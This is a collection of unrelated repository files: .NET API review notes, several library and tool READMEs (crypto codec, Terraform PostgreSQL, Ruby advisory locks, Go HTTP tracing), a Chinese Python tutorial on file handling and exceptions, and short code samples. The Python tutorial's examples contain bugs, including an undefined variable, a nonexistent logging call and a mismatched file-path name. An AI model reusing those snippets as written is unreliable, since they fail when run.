        public static void SetLastAccessTimeUtc(SafeFileHandle fileHandle, DateTime lastAccessTimeUtc);
        public static void SetLastWriteTime(SafeFileHandle fileHandle, DateTime lastWriteTime);
        public static void SetLastWriteTimeUtc(SafeFileHandle fileHandle, DateTime lastWriteTimeUtc);

        // Seems we should be adding support for these too.
        // If we can't make it work, dropping is fine.
        public static FileAttributes GetAttributes(SafeFileHandle fileHandle);
        public static void SetAttributes(SafeFileHandle fileHandle, FileAttributes fileAttributes);
    }
}
```
## Add bit manipulation methods to Interlocked class

**Approved** | [#runtime/23819](https://github.com/dotnet/runtime/issues/23819#issuecomment-582059179) | [Video](https://www.youtube.com/watch?v=nD5kZ2aXjdM&t=0h29m38s)

* Makes sense, the naming `location1` matches the existing methods
* We'll review support for unsigned in a separate issue (#24694)
* @GrabYourPitchforks will file a separate issue for test and clear/reset

```C#
namespace System.Threading
{
    public static partial class Interlocked
    {
        public static int And(ref int location1, int value);
        public static long And(ref long location1, long value);
        public static int Or(ref int location1, int value);
        public static long Or(ref long location1, long value);
        public static int Xor(ref int location1, int value);
        public static long Xor(ref long location1, long value);
    }
}
```
## Interlocked.CompareExchange missing for uint, ulong and (if possible) general structs.

**Approved** | [#runtime/24694](https://github.com/dotnet/runtime/issues/24694#issuecomment-582063204) | [Video](https://www.youtube.com/watch?v=nD5kZ2aXjdM&t=0h43m4s)

* Makes sense, we added unsigned for the APIs approved in #23819
* Let's ignore the generic struct here; this should be a separate proposal
* We should probably add `Interlocked` support for `nint` and `nuint` support on Interlocked. @tannergooding, could you file a tracking item for this?

```C#
namespace System.Threading
{
    public static partial class Interlocked
    {
        // New proposed APIs, pretty much a carbon copy of the above but unsigned
        // All of these would be marked [CLSCompliant(false)]

        public static uint Add(ref uint location1, uint value);
        public static ulong Add(ref ulong location1, ulong value);
        public static uint CompareExchange(ref uint location1, uint value, uint comparand);
        public static ulong CompareExchange(ref ulong location1, ulong value, ulong comparand);
        public static UIntPtr CompareExchange(ref UIntPtr location1, UIntPtr value, UIntPtr comparand);
        public static uint Decrement(ref uint location);
        public static ulong Decrement(ref ulong location);
        public static uint Exchange(ref uint location1, uint value);
        public static ulong Exchange(ref ulong location1, ulong value);
        public static UIntPtr Exchange(ref UIntPtr location1, UIntPtr value);
        public static uint Increment(ref uint location);
        public static ulong Increment(ref ulong location);
        public static ulong Read(ref ulong location);

        // Since these were approved in #23819 we should add them:
        // All of these would be marked [CLSCompliant(false)]

        public static int And(ref uint location1, uint value);
        public static long And(ref ulong location1, ulong value);
        public static int Or(ref uint location1, uint value);
        public static long Or(ref ulong location1, ulong value);
        public static int Xor(ref uint location1, uint value);
        public static long Xor(ref ulong location1, ulong value);
    }
}
```
## One-shot PEM reader

**Approved** | [#runtime/29588](https://github.com/dotnet/runtime/issues/29588#issuecomment-582069797) | [Video](https://www.youtube.com/watch?v=nD5kZ2aXjdM&t=0h52m11s)

* The constructor on `PemFields` isn't public to avoid having to validate well-formedness
* Should `PemFields` implement IEquatable<PemFields>`?

```C#
namespace System.Security.Cryptography
{
    public static class PemEncoding
    {
        public static bool TryFind(ReadOnlySpan<char> pemData, out PemFields fields);
        public static PemFields Find(ReadOnlySpan<char> pemData);

        public static int GetEncodedSize(int labelLength, int dataLength);
        public static bool TryWrite(ReadOnlySpan<char> label, ReadOnlySpan<byte> data, Span<char> destination, out int charsWritten);
        public static char[] Write(ReadOnlySpan<char> label, ReadOnlySpan<byte> data);
    }

    public readonly struct PemFields
    {
        public Range Location { get; }
        public Range Label { get; }
        public Range Base64Data { get; }
        public int DecodedDataLength { get; }
    }
 }
 ```
## Mark Write7BitEncodedInt and Read7BitEncodedInt as public

**Approved** | [#runtime/24473](https://github.com/dotnet/runtime/issues/24473#issuecomment-582076029) | [Video](https://www.youtube.com/watch?v=nD5kZ2aXjdM&t=1h7m31s)

* We should reuse the existing methods, which are protected (since the method isn't virtual, making it public isn't a breaking change).
* We don't want to add `BigInteger` support because reader/writer has no support for `BigInteger`. This should be a separate proposal.

```C#
namespace System.IO
{
    public class BinaryReader
    {
        public int Read7BitEncodedInt();
        public long Read7BitEncodedInt64();
    }
    public class BinaryWriter
    {
        public int Write7BitEncodedInt(int value);
        public int Write7BitEncodedInt64(long value);
    }
}
```
## Easy reference equality comparer API

**Approved** | [#runtime/27683](https://github.com/dotnet/runtime/issues/27683#issuecomment-582080375) | [Video](https://www.youtube.com/watch?v=nD5kZ2aXjdM&t=1h22m15s)

* Let's put it in `System.Collections.Generic` (because `System.Collections` doesn't have a `EqualityComparer` anyway).
* We don't want to put it on `EqualityComparer<T>` because it wouldn't vary by `T`
* Based on Internet search, it seems most folks calls their implementation `ReferenceEqualityComparer`. We considered introducing a non-generic `EqualityComparer` with a property `ReferenceEquality` that felt odd. Also, having a dedicated sealed type allows implementations to check whether it's the special reference equality comparer. The field would have to guarantee that it's the same instance, which we might not want.

```C#
namespace System.Collections.Generic
{
    public sealed class ReferenceEqualityComparer : IEqualityComparer, IEqualityComparer<object>
    {
        private ReferenceEqualityComparer();
        public static ReferenceEqualityComparer Instance { get; }

        // Plus inherited members from IEqualityComparer, IEqualityComparer<object>
    }
}
```

repository: dotnet/apireviews

repo_name: dotnet/apireviews


text:
# Encoding for =nil; Foundation's Cryptography Suite
[![Build Status](https://travis-ci.com/NilFoundation/codec.svg?branch=master)](https://travis-ci.com/NilFoundation/codec)

Encoding for =nil; Foundation's cryptography suite.

## Building

This library uses Boost CMake build modules (https://github.com/BoostCMake/cmake_modules.git).
To actually include this library in a project it is required to:

1. Add [CMake Modules](https://github.com/BoostCMake/cmake_modules.git) as submodule to taget project repository.
2. Add all the internal dependencies using [CMake Modules](https://github.com/BoostCMake/cmake_modules.git) as submodules to target project repository.
3. Initialize parent project with [CMake Modules](https://github.com/BoostCMake/cmake_modules.git) (Look at [crypto3](https://github.com/nilfoundation/crypto3.git) for the example)

## Dependencies

### Internal

* [Boost.Predef](https://github.com/nilfoundation/predef.git) (until https://github.com/boostorg/predef/pull/108 and https://github.com/boostorg/predef/pull/107 are accepted)
* [Boost.Config](https://github.com/nilfoundation/config.git) (until https://github.com/boostorg/config/pull/338 and https://github.com/boostorg/config/pull/339 are accepted)

### External
* [Boost](https://boost.org) (>= 1.58)

repository: everscalecodes/knapsack-snark

repo_name: everscalecodes/knapsack-snark


text:
# README

This terraform script provisions:
+ azure postresql Single Server with a database
+ private endpoint for postgresql server

Prerequisites:
+ VNet and Subnet already provisioned in Resource Group.

## How to use

All variable are set in [terraform.tfvars](terraform.tfvars) these should be changed for each application team.

Variables that would need to change are marked as `<change-me>`.

More detail on each variable can be found in the `Inputs` section below

## How do I connect to my new Azure PostgreSQL server?
As we are using a private endpoint with the postgres server to securely connect from on-prem, the fully qualified domain name will not be reachable until a dns record is set for it. (This is the same process as for the storage account).

Meanwhile the private ip can be used to connect. The private ip is an output from the terraform module, but it can also be looked up in th portal under the private endpoint resource.

To connect you can use your favorite IDE, SQL tool or command line.

### Oracle SQL Developer with PostgreSQL driver

	Username: <username>@<postgres-server-name>
	Password: <password>
	Hostname: <postgres-private-ip>:5432/<database-name>?sslmode=require&ssl=true
	Port: THIS IS EMPTY

## Providers

| Name | Version |
|------|---------|
| azurerm | 2.7.0 |

## Inputs

| Name | Description | Type | Default | Required |
|------|-------------|------|---------|:--------:|
| auto\_grow\_enabled | Auto grow postgres enablement, currently supports only: true | `bool` | `true` | no |
| backup\_retention\_days | Number of days to retain backups | `number` | `7` | no |
| database\_login | Login for server and database admin | `string` | n/a | yes |
| database\_name | Name for database in postgres | `string` | n/a | yes |
| database\_password | Password for the database in postgres | `string` | n/a | yes |
| geo\_redundent\_enabled | Geo redundent postgres enablement, currently supports only: true | `bool` | `true` | no |
| postgres\_location | Location of the resource group | `string` | n/a | yes |
| postgres\_name | Name for postgres server | `string` | n/a | yes |
| postgres\_resource\_group\_location | The location of the resource group which will hold postgres | `string` | n/a | yes |
| postgres\_resource\_group\_name | Name of resource group to hold postgres | `string` | n/a | yes |
| postgres\_resource\_group\_tags | Tags to be added to the postgres resource group | `map` | n/a | yes |
| postgres\_tags | n/a | `map` | n/a | yes |
| postgres\_version | Version of postgres | `string` | n/a | yes |
| private\_endpoint\_location | Location of private endpoint | `string` | n/a | yes |
| private\_endpoint\_name | Name for the postgres private endpoint | `string` | n/a | yes |
| private\_service\_connection\_name | Name for the postgres private service connection | `string` | n/a | yes |
| sku\_name | Sku name for postgres, currently supports only: General and Memory optimizes tiers | `string` | `"GP_Gen5_2"` | no |
| storagemb | Amount of storage for the database, in mb. | `string` | `"5120"` | no |
| subnet\_name | Name of the subnet that the private endpoint can use | `string` | n/a | yes |
| vnet\_name | Name of the virtual network that the private endpoint can use. | `string` | n/a | yes |
| vnet\_resource\_group\_name | Name of the resource group for the virtual network | `string` | n/a | yes |

## Outputs

| Name | Description |
|------|-------------|
| dbname | n/a |
| postgres\_private\_ip | n/a |
| server\_fqdn | The fully qualified domain name (FQDN) of the PostgreSQL server |
| username | n/a |

gha_language: HCL


text:
# sequel-pg_advisory_lock

[![Build Status](https://travis-ci.org/yuryroot/sequel-pg_advisory_lock.svg?branch=master)](https://travis-ci.org/yuryroot/sequel-pg_advisory_lock)
[![Gem Version](https://badge.fury.io/rb/sequel-pg_advisory_lock.svg)](https://badge.fury.io/rb/sequel-pg_advisory_lock)

Gem `sequel-pg_advisory_lock` is an extension for ruby [Sequel](https://github.com/jeremyevans/sequel) library
that allows using [PostgreSQL advisory locks](https://www.postgresql.org/docs/9.6/static/explicit-locking.html#ADVISORY-LOCKS)
for application-level mutexes.

## Installation

Add this line to your application's Gemfile:

```ruby
gem 'sequel-pg_advisory_lock'
```

and then execute:

```
$ bundle
```

Or install it yourself as:

```
$ gem install sequel-pg_advisory_lock
```

## Usage

First, you should load an extension for `Sequel::Database` instance:

```ruby
DB.extension :pg_advisory_lock
```

Then, you should register new lock by specifying unique name:

```ruby
DB.register_advisory_lock(:my_lock)

```

By default, `pg_advisory_lock` *PostgreSQL* function will be associated with registered lock.

It's also possible to specify different function in second parameter of `register_advisory_lock` method, for example:

```ruby
DB.register_advisory_lock(:my_lock, :pg_try_advisory_lock)
````

All supported lock functions are described [here](#available-types-of-locks).

Finally, you can use registered lock:

```ruby
DB.with_advisory_lock(:my_lock) do
  # do something
  # this block works like application-level mutex,
  # so code inside block is protected from concurrent execution
end

```

An optional *4-bytes integer* parameter can be passed to `with_advisory_lock` method call:

```ruby
DB.with_advisory_lock(:my_lock, 1) do
  # do something
  # this block works like application-level mutex,
  # so code inside block is protected from concurrent execution
end

```

## Available types of locks

There are 4 supported *PostgreSQL* lock functions which can be used in `register_advisory_lock`:

* `pg_advisory_lock` (default)

   Waits of lock releasing if someone already owns requested lock.

* `pg_try_advisory_lock`

   Doesn't wait of lock releasing, returns nil if someone already owns requested lock.

* `pg_advisory_xact_lock`

   Waits of lock releasing if someone already owns requested lock.
   Releases lock immediately after database transaction ends.
   Requires manually opened transaction before using this lock.

* `pg_try_advisory_xact_lock`

   Doesn't wait of lock releasing, returns nil if someone already owns requested lock.
   Releases lock immediately after database transaction ends.
   Requires manually opened transaction before using this lock.

For more information see [PostgreSQL documentation](https://www.postgresql.org/docs/9.6/static/functions-admin.html#FUNCTIONS-ADVISORY-LOCKS).

## Contributing

1. Fork the project (https://github.com/yuryroot/sequel-pg_advisory_lock).
2. Create your feature branch (`git checkout -b my-new-feature`).
3. Implement your feature or bug fix.
4. Add tests for your feature or bug fix.
5. Run `rake` to make sure all tests pass.
6. Commit your changes (`git commit -am 'Add new feature'`).
7. Push to the branch (`git push origin my-new-feature`).
8. Create new pull request.

gha_language: Ruby


text:
[![Go Report Card](https://goreportcard.com/badge/github.com/1602/witness)](https://goreportcard.com/report/github.com/1602/witness)
[![Build Status](https://travis-ci.org/1602/witness.svg?branch=master)](https://travis-ci.org/1602/witness)
[![Coverage Status](https://img.shields.io/coveralls/github/1602/witness.svg)](https://coveralls.io/github/1602/witness?branch=master)

## Witness

Enables debugging of http requests via UI.

## How it works

It uses `httptrace.WithClientTrace` to make a `http.RoundTripper` eavesdropping on http connection. This allows detailed analysis of various http request stages. All information gathered then pushed using EventStream to UI running in browser.

## Usage

```
// init http client with any configuration you need
cl := &http.Client{}

// pass client to witness to wrap its Transport with eavesdropping functionality
// it will also start SSE notification channel
witness.DebugClient(cl)
```

Open SSE client in browser https://1602.github.io/puerh/


text:
## 文件和异常

### 从文件中读取数据

```python
file_path = '/home/fileName.txt'
with open(file_path) as file_object:
    conent = file_object.read()
    print(conent.rstrip())
```

逐行读取：

```python
file_path = '/home/fileName.txt'
with open(file_path) as file_object:
    for line in file_object:
        print(line)
```

### 写入文件

权限：'r'只读；'w'写入；'a'附加；'r+'读写

```python
filename = 'filenName.txt'
with open(file_path, 'w') as file_object:
    file_object.write("life is short,\n")
    file_object.write("I need python!\n")
```

### 异常处理

示例1：

```python
print("Give me tow numbers, and I will divide them")
print("Enter 'q' to quit")

while True:
    first_number = input("\nfirst_number:")
    if(first_number == 'q'):
        break
    second_number = input("\nsecond_number:")
    if(second_number == 'q'):
        break
    try:
        answer = int(first_number) / int(second_number)
    except ZeroDivisionError:
        print("You can't divide by 0!")
    else:
        print(answer)
```

示例2：

```python
def count_words(filename):
    try:
        with open(filename) as f_obj:
            contents = f_obj.read()
    except FileNotFoundError:
        msg = "Sorry, the file " + filename +"do not exist"
        print(msg)
    else:
        words = conents.split()
        num_words = len(words)
        print("words count is " + str(num_words))

filename = "Alice.txt"
count_words(filename)
```

示例3：

```python
import logging				#Python内置的logging模块可以非常容易地记录错误信息：
def foo(s):
    return 10 / int(s)

def bar(s):
    return foo(s) * 2

def main():
    try:
        bar('0')
    except Exception as e:
        logging.Exception(e)
    finally:
        print('finally...')
```

### 抛出错误

```python
def foo(s):
    n = int(s)
    if n==0:
        raise ValueError('invalid value: %s' % s)	#抛出错误
    return 10 / n

def bar():
    try:
        foo('0')
    except ValueError as e:
        print('ValueError!')
        raise										#语句如果不带参数，就会把当前错误原样抛出

bar()
```


text:
# camquant
![Can't handle Prince in full color...](https://user-images.githubusercontent.com/1014562/52533228-f72b4900-2d30-11e9-8624-dbc11d5df9da.png)

###### Image captured by placing the Prince (1979) album in front of the camera.

---

Demo of using kmeans to quantize a video.

[Live demo](http://fraguada.net/experiments/camquant/)

This demo depends on [skmeans](https://github.com/solzimer/skmeans) javascript library by [@solzimer](https://github.com/solzimer).

There are things that could probably be improved. If you find any, please open an issue or submit a PR!

repository: fraguada/camquant

repo_name: fraguada/camquant


text:
###### System.Math
## Math

Keep value within the range of -255 to 255
``` csharp
Math.Max(-255, Math.Min(255, value))
```

repository: Esece/CodeSamples

repo_name: Esece/CodeSamples